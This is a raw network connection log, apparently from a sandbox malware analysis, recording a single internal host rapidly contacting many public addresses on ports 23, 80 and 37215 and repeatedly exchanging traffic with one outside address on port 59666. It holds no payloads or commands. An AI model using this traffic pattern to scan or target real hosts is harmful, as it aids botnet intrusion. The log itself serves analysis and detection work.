Jan 5, 2025 14:34:56.002055883 CET	29476	23	192.168.2.13	141.12.98.74
Jan 5, 2025 14:34:56.002064943 CET	29476	23	192.168.2.13	61.199.192.33
Jan 5, 2025 14:34:56.002079964 CET	29476	23	192.168.2.13	202.204.206.249
Jan 5, 2025 14:34:56.002083063 CET	29476	23	192.168.2.13	103.223.66.50
Jan 5, 2025 14:34:56.002087116 CET	29476	23	192.168.2.13	156.159.19.139
Jan 5, 2025 14:34:56.002093077 CET	29476	23	192.168.2.13	71.38.185.90
Jan 5, 2025 14:34:56.002099991 CET	29476	23	192.168.2.13	151.106.87.34
Jan 5, 2025 14:34:56.002104998 CET	29476	23	192.168.2.13	18.0.0.241
Jan 5, 2025 14:34:56.002130032 CET	29476	23	192.168.2.13	50.123.210.105
Jan 5, 2025 14:34:56.002134085 CET	29476	23	192.168.2.13	184.25.84.166
Jan 5, 2025 14:34:56.003559113 CET	37215	43322	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:56.003568888 CET	37215	37602	41.108.41.195	192.168.2.13
Jan 5, 2025 14:34:56.004995108 CET	23	29476	145.45.44.52	192.168.2.13
Jan 5, 2025 14:34:56.005047083 CET	29476	23	192.168.2.13	145.45.44.52
Jan 5, 2025 14:34:56.016256094 CET	38130	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:56.016258001 CET	41862	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:56.016258955 CET	58880	80	192.168.2.13	219.54.10.214
Jan 5, 2025 14:34:56.016258955 CET	34564	80	192.168.2.13	44.218.91.191
Jan 5, 2025 14:34:56.016258955 CET	38390	37215	192.168.2.13	156.110.194.105
Jan 5, 2025 14:34:56.016263008 CET	35398	80	192.168.2.13	77.65.24.19
Jan 5, 2025 14:34:56.016268015 CET	42496	37215	192.168.2.13	156.208.181.83
Jan 5, 2025 14:34:56.016268015 CET	44028	37215	192.168.2.13	41.113.191.2
Jan 5, 2025 14:34:56.016268015 CET	60000	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:56.016273022 CET	43740	80	192.168.2.13	175.183.46.240
Jan 5, 2025 14:34:56.016273022 CET	52366	37215	192.168.2.13	197.154.90.231
Jan 5, 2025 14:34:56.016273022 CET	36798	80	192.168.2.13	99.158.62.56
Jan 5, 2025 14:34:56.016273022 CET	51602	80	192.168.2.13	88.209.200.173
Jan 5, 2025 14:34:56.016273022 CET	56384	37215	192.168.2.13	41.54.8.17
Jan 5, 2025 14:34:56.016273022 CET	51188	80	192.168.2.13	166.95.170.63
Jan 5, 2025 14:34:56.016288042 CET	55714	37215	192.168.2.13	197.178.121.129
Jan 5, 2025 14:34:56.016288042 CET	36864	80	192.168.2.13	155.5.153.138
Jan 5, 2025 14:34:56.016289949 CET	53136	37215	192.168.2.13	197.158.241.228
Jan 5, 2025 14:34:56.016289949 CET	58392	37215	192.168.2.13	156.89.118.79
Jan 5, 2025 14:34:56.016290903 CET	59550	80	192.168.2.13	207.215.212.22
Jan 5, 2025 14:34:56.016289949 CET	37828	37215	192.168.2.13	41.9.116.52
Jan 5, 2025 14:34:56.016290903 CET	56704	80	192.168.2.13	164.138.201.158
Jan 5, 2025 14:34:56.016289949 CET	49682	37215	192.168.2.13	197.87.130.235
Jan 5, 2025 14:34:56.016293049 CET	50498	80	192.168.2.13	42.79.20.150
Jan 5, 2025 14:34:56.016290903 CET	49618	37215	192.168.2.13	197.236.183.229
Jan 5, 2025 14:34:56.016294956 CET	43838	80	192.168.2.13	175.245.253.17
Jan 5, 2025 14:34:56.016293049 CET	43508	80	192.168.2.13	186.201.209.50
Jan 5, 2025 14:34:56.016293049 CET	59666	37215	192.168.2.13	197.216.74.12
Jan 5, 2025 14:34:56.016293049 CET	38202	37215	192.168.2.13	156.108.22.113
Jan 5, 2025 14:34:56.021079063 CET	37215	38130	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:56.021089077 CET	37215	41862	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:56.021125078 CET	38130	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:56.021128893 CET	41862	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:56.021192074 CET	41862	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:56.021192074 CET	41862	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:56.021503925 CET	42288	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:56.021859884 CET	38130	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:56.021859884 CET	38130	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:56.022135019 CET	38550	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:56.025979996 CET	37215	41862	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:56.026627064 CET	37215	38130	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:56.039552927 CET	37215	52292	41.77.204.216	192.168.2.13
Jan 5, 2025 14:34:56.039561987 CET	80	44664	202.226.133.66	192.168.2.13
Jan 5, 2025 14:34:56.039566040 CET	37215	42272	197.235.231.188	192.168.2.13
Jan 5, 2025 14:34:56.048150063 CET	46954	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:56.048150063 CET	45594	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:56.048156977 CET	54196	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:56.048156977 CET	36180	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:56.048157930 CET	40646	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:56.048157930 CET	57066	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:56.048157930 CET	57102	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:56.048157930 CET	57608	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:56.048157930 CET	36316	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:56.048168898 CET	47174	80	192.168.2.13	125.76.10.156
Jan 5, 2025 14:34:56.048171043 CET	44348	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:56.048171043 CET	52816	80	192.168.2.13	124.176.167.7
Jan 5, 2025 14:34:56.048175097 CET	42582	80	192.168.2.13	20.82.200.219
Jan 5, 2025 14:34:56.048172951 CET	58454	80	192.168.2.13	44.83.48.22
Jan 5, 2025 14:34:56.048175097 CET	51244	80	192.168.2.13	178.127.135.36
Jan 5, 2025 14:34:56.048177004 CET	52054	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:56.048172951 CET	54456	80	192.168.2.13	196.241.10.180
Jan 5, 2025 14:34:56.048177004 CET	46456	80	192.168.2.13	181.97.38.177
Jan 5, 2025 14:34:56.048175097 CET	46798	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:56.048177004 CET	59414	80	192.168.2.13	96.154.183.189
Jan 5, 2025 14:34:56.048180103 CET	46980	80	192.168.2.13	120.108.229.41
Jan 5, 2025 14:34:56.048177004 CET	50956	80	192.168.2.13	192.214.235.88
Jan 5, 2025 14:34:56.048178911 CET	39450	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:56.048175097 CET	59190	80	192.168.2.13	108.171.105.201
Jan 5, 2025 14:34:56.048192024 CET	34502	80	192.168.2.13	211.227.233.63
Jan 5, 2025 14:34:56.048192978 CET	47880	80	192.168.2.13	203.213.57.208
Jan 5, 2025 14:34:56.048192978 CET	54510	80	192.168.2.13	199.250.9.123
Jan 5, 2025 14:34:56.052980900 CET	80	46954	120.114.84.38	192.168.2.13
Jan 5, 2025 14:34:56.052990913 CET	80	54196	71.104.122.79	192.168.2.13
Jan 5, 2025 14:34:56.052999973 CET	37215	45594	197.49.199.148	192.168.2.13
Jan 5, 2025 14:34:56.053122997 CET	46954	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:56.053122997 CET	45594	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:56.053122997 CET	45594	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:56.053124905 CET	54196	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:56.053149939 CET	54196	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:56.053149939 CET	54196	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:56.053492069 CET	54568	80	192.168.2.13	71.104.122.79
Jan 5, 2025 14:34:56.053879023 CET	46954	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:56.053879023 CET	46954	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:56.054189920 CET	47324	80	192.168.2.13	120.114.84.38
Jan 5, 2025 14:34:56.057908058 CET	80	54196	71.104.122.79	192.168.2.13
Jan 5, 2025 14:34:56.058284044 CET	37215	45594	197.49.199.148	192.168.2.13
Jan 5, 2025 14:34:56.058324099 CET	45594	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:56.058655977 CET	80	46954	120.114.84.38	192.168.2.13
Jan 5, 2025 14:34:56.067523956 CET	37215	38130	41.1.36.164	192.168.2.13
Jan 5, 2025 14:34:56.067533016 CET	37215	41862	197.47.93.30	192.168.2.13
Jan 5, 2025 14:34:56.080255032 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:56.080255985 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:56.080255985 CET	33316	80	192.168.2.13	126.216.109.113
Jan 5, 2025 14:34:56.080255985 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:56.080255985 CET	57544	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:56.080255985 CET	49540	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:56.080262899 CET	50830	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:56.080262899 CET	55264	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:56.080269098 CET	52338	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:56.080270052 CET	51336	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:56.080271959 CET	35464	80	192.168.2.13	77.51.64.168
Jan 5, 2025 14:34:56.080271959 CET	59744	80	192.168.2.13	166.193.19.8
Jan 5, 2025 14:34:56.080272913 CET	45144	80	192.168.2.13	46.69.101.35
Jan 5, 2025 14:34:56.080274105 CET	38688	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:56.080274105 CET	47828	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:56.085134029 CET	80	51040	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:56.085144043 CET	80	46498	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:56.085153103 CET	80	41292	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:56.085184097 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:56.085185051 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:56.085196972 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:56.085223913 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:56.085237026 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:56.085239887 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:56.090280056 CET	80	51040	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:56.090337038 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:56.090476990 CET	80	46498	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:56.090517044 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:56.090589046 CET	80	41292	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:56.090624094 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:56.103467941 CET	80	46954	120.114.84.38	192.168.2.13
Jan 5, 2025 14:34:56.103485107 CET	80	54196	71.104.122.79	192.168.2.13
Jan 5, 2025 14:34:56.112245083 CET	44452	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:56.112245083 CET	36326	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:56.116998911 CET	80	44452	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:56.117054939 CET	44452	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:56.117079973 CET	44452	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:56.117182970 CET	80	36326	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:56.117221117 CET	36326	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:56.117247105 CET	36326	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:56.121984005 CET	80	44452	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:56.122030020 CET	44452	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:56.122220993 CET	80	36326	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:56.122258902 CET	36326	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:56.278290987 CET	80	35082	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:56.278392076 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:56.709094048 CET	23	44874	196.85.151.212	192.168.2.13
Jan 5, 2025 14:34:56.709491968 CET	44874	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:56.709985018 CET	46120	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:56.714281082 CET	23	44874	196.85.151.212	192.168.2.13
Jan 5, 2025 14:34:56.714757919 CET	23	46120	196.85.151.212	192.168.2.13
Jan 5, 2025 14:34:56.714806080 CET	46120	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:56.757797956 CET	52440	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:56.762655973 CET	59666	52440	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:56.762705088 CET	52440	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:56.763736963 CET	52440	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:56.768574953 CET	59666	52440	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:56.768615961 CET	52440	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:56.773390055 CET	59666	52440	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:56.848150015 CET	60268	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:56.848150015 CET	60822	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:56.848160028 CET	59558	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:56.848160028 CET	50232	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:56.848165035 CET	43168	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:56.848167896 CET	44670	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:56.848172903 CET	55714	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:56.848189116 CET	57160	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:56.848189116 CET	53632	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:56.848192930 CET	50244	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:56.848195076 CET	47716	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:56.848195076 CET	47416	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:56.848200083 CET	43510	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:56.848210096 CET	40560	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:56.848216057 CET	41398	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:56.848218918 CET	35874	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:56.848218918 CET	39094	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:56.848233938 CET	34258	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:56.852150917 CET	35636	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:56.852154016 CET	53072	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:56.852157116 CET	39430	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:56.852163076 CET	39636	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:56.852170944 CET	58036	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:56.852171898 CET	49996	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:56.852174997 CET	36914	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:56.852180958 CET	35528	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:56.852183104 CET	60256	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:56.852185965 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:56.852185965 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:56.853163004 CET	80	60268	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:56.853198051 CET	80	44670	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:56.853208065 CET	80	43168	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:56.853216887 CET	80	50232	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:56.853224993 CET	60268	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:56.853229046 CET	80	60822	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:56.853234053 CET	44670	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:56.853239059 CET	80	59558	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:56.853249073 CET	80	55714	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:56.853252888 CET	43168	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:56.853257895 CET	80	57160	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:56.853259087 CET	60822	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:56.853267908 CET	80	53632	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:56.853267908 CET	50232	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:56.853269100 CET	59558	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:56.853271008 CET	55714	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:56.853279114 CET	80	47716	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:56.853286982 CET	57160	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:56.853290081 CET	80	47416	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:56.853296041 CET	53632	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:56.853300095 CET	80	50244	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:56.853310108 CET	80	40560	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:56.853312016 CET	47716	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:56.853318930 CET	47416	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:56.853318930 CET	80	41398	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:56.853327036 CET	50244	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:56.853327990 CET	80	43510	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:56.853337049 CET	80	35874	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:56.853339911 CET	40560	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:56.853348017 CET	80	34258	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:56.853349924 CET	41398	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:56.853357077 CET	80	39094	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:56.853358984 CET	43510	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:56.853368998 CET	35874	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:56.853369951 CET	34258	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:56.853382111 CET	39094	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:56.853388071 CET	55714	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:56.853401899 CET	44670	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:56.853403091 CET	43168	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:56.853415012 CET	50232	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:56.853416920 CET	60822	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:56.853434086 CET	59558	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:56.853441954 CET	60268	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:56.853554964 CET	39094	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:56.853569031 CET	43510	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:56.853569031 CET	35874	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:56.853579998 CET	34258	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:56.853595018 CET	41398	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:56.853605032 CET	40560	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:56.853605986 CET	50244	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:56.853616953 CET	53632	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:56.853629112 CET	47416	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:56.853637934 CET	57160	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:56.853638887 CET	47716	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:56.857072115 CET	37215	35636	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:56.857084036 CET	37215	39430	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:56.857093096 CET	37215	39636	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:56.857103109 CET	37215	53072	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:56.857111931 CET	37215	58036	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:56.857112885 CET	35636	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:56.857115030 CET	39430	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:56.857120991 CET	37215	36914	156.141.115.233	192.168.2.13
Jan 5, 2025 14:34:56.857124090 CET	39636	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:56.857135057 CET	37215	49996	197.247.78.82	192.168.2.13
Jan 5, 2025 14:34:56.857144117 CET	58036	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:56.857144117 CET	53072	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:56.857144117 CET	37215	35528	41.82.207.46	192.168.2.13
Jan 5, 2025 14:34:56.857151031 CET	36914	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:56.857156038 CET	37215	60256	41.232.203.93	192.168.2.13
Jan 5, 2025 14:34:56.857165098 CET	37215	38538	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:56.857171059 CET	49996	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:56.857176065 CET	37215	45072	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:56.857178926 CET	35528	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:56.857189894 CET	60256	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:56.857201099 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:56.857201099 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:56.857235909 CET	39636	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:56.857255936 CET	39430	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:56.857259035 CET	35636	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:56.857275009 CET	53072	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:56.857395887 CET	60256	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:56.857395887 CET	58036	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:56.857414007 CET	49996	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:56.857415915 CET	35528	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:56.857424021 CET	36914	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:56.857431889 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:56.857431889 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:56.858561039 CET	80	60268	138.242.91.81	192.168.2.13
Jan 5, 2025 14:34:56.858577013 CET	80	44670	143.206.192.80	192.168.2.13
Jan 5, 2025 14:34:56.858608961 CET	60268	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:56.858618975 CET	44670	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:56.858829021 CET	80	43168	104.36.217.230	192.168.2.13
Jan 5, 2025 14:34:56.858861923 CET	43168	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:56.858999968 CET	80	60822	113.43.149.121	192.168.2.13
Jan 5, 2025 14:34:56.859035015 CET	60822	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:56.859189987 CET	80	50232	110.68.47.188	192.168.2.13
Jan 5, 2025 14:34:56.859230995 CET	50232	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:56.859360933 CET	80	59558	51.175.132.128	192.168.2.13
Jan 5, 2025 14:34:56.859395981 CET	59558	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:56.859544992 CET	80	47716	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:56.859555006 CET	80	57160	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:56.859563112 CET	80	47416	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:56.859571934 CET	80	53632	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:56.859580040 CET	80	50244	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:56.859589100 CET	80	40560	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:56.859596968 CET	80	41398	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:56.859606028 CET	80	34258	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:56.859612942 CET	80	35874	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:56.859621048 CET	80	43510	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:56.859631062 CET	80	39094	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:56.859641075 CET	80	55714	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:56.859647989 CET	80	55714	36.247.60.108	192.168.2.13
Jan 5, 2025 14:34:56.859678984 CET	55714	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:56.859733105 CET	80	57160	85.66.186.124	192.168.2.13
Jan 5, 2025 14:34:56.859767914 CET	57160	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:56.859901905 CET	80	53632	192.5.111.66	192.168.2.13
Jan 5, 2025 14:34:56.859939098 CET	53632	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:56.860132933 CET	80	47716	43.81.231.176	192.168.2.13
Jan 5, 2025 14:34:56.860167980 CET	47716	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:56.860239029 CET	80	47416	188.148.5.67	192.168.2.13
Jan 5, 2025 14:34:56.860270023 CET	47416	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:56.860374928 CET	80	50244	178.237.118.100	192.168.2.13
Jan 5, 2025 14:34:56.860413074 CET	50244	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:56.860538006 CET	80	40560	83.126.174.186	192.168.2.13
Jan 5, 2025 14:34:56.860574007 CET	40560	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:56.860681057 CET	80	41398	209.164.155.93	192.168.2.13
Jan 5, 2025 14:34:56.860717058 CET	41398	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:56.860857010 CET	80	43510	57.119.84.72	192.168.2.13
Jan 5, 2025 14:34:56.860894918 CET	43510	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:56.861017942 CET	80	35874	23.224.32.45	192.168.2.13
Jan 5, 2025 14:34:56.861054897 CET	35874	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:56.861177921 CET	80	34258	65.210.246.241	192.168.2.13
Jan 5, 2025 14:34:56.861213923 CET	34258	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:56.861232996 CET	80	39094	180.183.87.174	192.168.2.13
Jan 5, 2025 14:34:56.861269951 CET	39094	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:56.862205982 CET	37215	39430	41.171.143.145	192.168.2.13
Jan 5, 2025 14:34:56.862243891 CET	39430	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:56.862365007 CET	37215	35636	41.7.178.161	192.168.2.13
Jan 5, 2025 14:34:56.862374067 CET	37215	39636	156.233.61.170	192.168.2.13
Jan 5, 2025 14:34:56.862401009 CET	39636	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:56.862401962 CET	35636	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:56.862575054 CET	37215	58036	197.100.220.57	192.168.2.13
Jan 5, 2025 14:34:56.862612963 CET	58036	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:56.862672091 CET	37215	53072	41.16.186.169	192.168.2.13
Jan 5, 2025 14:34:56.862704039 CET	53072	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:56.862847090 CET	37215	36914	156.141.115.233	192.168.2.13
